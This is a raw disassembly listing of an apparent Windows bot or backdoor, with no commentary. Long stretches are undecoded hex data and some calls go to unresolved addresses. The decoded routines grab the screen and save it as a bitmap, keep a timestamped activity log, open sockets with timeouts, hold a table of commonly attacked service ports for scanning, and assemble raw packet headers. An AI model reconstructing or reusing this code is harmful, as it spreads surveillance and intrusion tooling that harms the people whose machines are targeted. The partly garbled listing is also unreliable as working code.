0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EE868FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022BBBh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0B02415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 5E89000h, 2B0226C4h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7581Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF48h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D5A868h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 3868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFE4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAFA4h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 69D0E9E8h, 89669071h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB00815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B03C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435F1Ch, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB02415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 43610Ch, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF84h, 75FFF883h, 3815FF0Eh dd 50004CAFh, 4360BC68h, 8D1BEB00h, 0FF500C45h, 4CAFE415h dd 0FFF88300h, 15FF2075h, 4CAF38h, 60786850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 0A415FF00h, 66004CAFh, 8DDE4589h, 90500C45h dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 604C68FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7583Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF48h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D5A868ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE13868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE338h, 0A415FF45h dd 66004CAFh, 4CE33AA3h, 0AC458D00h, 5C76650h, 4CE33Ch dd 89660001h, 4CE33E3Dh, 4005C600h, 80004CE3h, 0E34105C6h dd 6611004Ch, 0E3423D89h, 15FF004Ch, 4CAFE4h, 4CE344A3h dd 0E0458B00h, 4CE348A3h, 8C858D00h, 50000000h, 523D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAFA415h, 4EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE34Ch, 0AFA415FFh, 68004Ch dd 66000004h, 4CE350A3h, 6F3CE800h, 0F7990000h, 546852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE338h, 0FFF475FFh, 4CB00815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 9E890FCh, 2B0226BFh, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 3C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FE868h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF3815h, 458D5000h, 5C68500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFE415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 613868FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0BDE89056h dd 5F022BB4h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF4C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF8C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 0C8A35053h, 0FF004CE7h, 4CAF8415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0A415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CB02415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B03C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E7CCBF83h, 6468004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 64685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAFA415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE768h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE768h, 685645h, 0C6000004h, 4CE77105h, 5C60600h dd 4CE769h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAFA4h dd 0A366286Ah, 4CE76Ch, 0AFA415FFh, 0D80004Ch, 4CE770h dd 581D39FFh, 66004CE7h, 4CE76AA3h, 1D896600h, 4CE76Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE13868h, 0E415FF00h, 0A3004CAFh dd 4CE774h, 6808458Bh, 4000h, 4CE778A3h, 891D8800h, 0FF004CE7h dd 4CAFA415h, 66535600h, 4CE78AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AFA015FFh dd 80A3004Ch, 0A0004CE7h, 4CE788h, 24087D8Bh, 6A500C0Fh dd 0E788A214h, 8B66004Ch, 1D89F045h, 4CE784h, 8E1D8966h dd 66004CE7h, 4CE77EA3h, 0A43D8900h, 88004CE7h, 4CE7A81Dh dd 0A905C600h, 6004CE7h, 0AFA415FFh, 0A366004Ch, 4CE7AAh dd 0E77EA166h, 0C766004Ch, 4CE79005h, 89000200h, 4CE7943Dh dd 92A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AFA415FFh, 0A366004Ch dd 4CE77Ch, 4CE774A1h, 0E7A0A300h, 5C6004Ch, 4CE789h, 841D8902h dd 0EB004CE7h, 0C653561Fh, 4CE78905h, 95E81000h, 59000036h dd 15FF5059h, 4CAFA4h, 0A3C0B70Fh, 4CE784h, 6C05FF66h dd 0FF004CE7h, 4CE78005h, 7EA16600h, 6A004CE7h, 7CBE5905h dd 0BF004CE7h, 4CE7ACh, 721D8966h, 66004CE7h, 0E78C1D89h dd 146A004Ch, 68BEA5F3h, 66004CE7h, 4CE792A3h, 25E85600h dd 6AFFFF5Ch, 0E7A06820h, 0A366004Ch, 4CE772h, 0FF5C13E8h dd 10C483FFh, 0E78CA366h, 106A004Ch, 4CE79068h, 286A5300h dd 0C835FF56h, 0FF004CE7h, 4CB00815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 5DE890FFh, 2B0226B8h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 25AF5BE8h dd 0FDC2E902h, 5E5FFFFFh, 4CE7CCB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D160 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCE0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D160[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D178[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_42923C pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436180 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D160 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_43616C lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCE0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2780144h mov ebx, offset dword_4D2BCC mov edi, 80h mov esi, offset dword_4CEBCC loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEBCC xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2BCC jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_4361CC push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_4361B8 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361FC push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEBCC loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2BCC jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361E0 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h, 46h, 0ACh ; --------------------------------------------------------------------------- sub eax, [edx] pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF90 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAFAC push 0Ah push edi mov [ebp+var_8], eax call dword_4CAFAC push 0Ch push edi mov [ebp+var_C], eax call dword_4CAFAC cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAFAC mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFF0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFE8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE74 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFEC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAEC8 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call near ptr 26F08DDh nop cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 26E0000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 26E0000h cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 26E0000h loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call near ptr 26E0000h nop push [ebp+arg_0] nop call near ptr 26508EFh push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAF00 push [ebp+var_4] call dword_4CAE60 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE60 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE60 push [ebp+var_4] call dword_4CAE60 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BD0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEF4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF44 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB000 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF44 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CB000 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF44 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CB000 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB000 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, 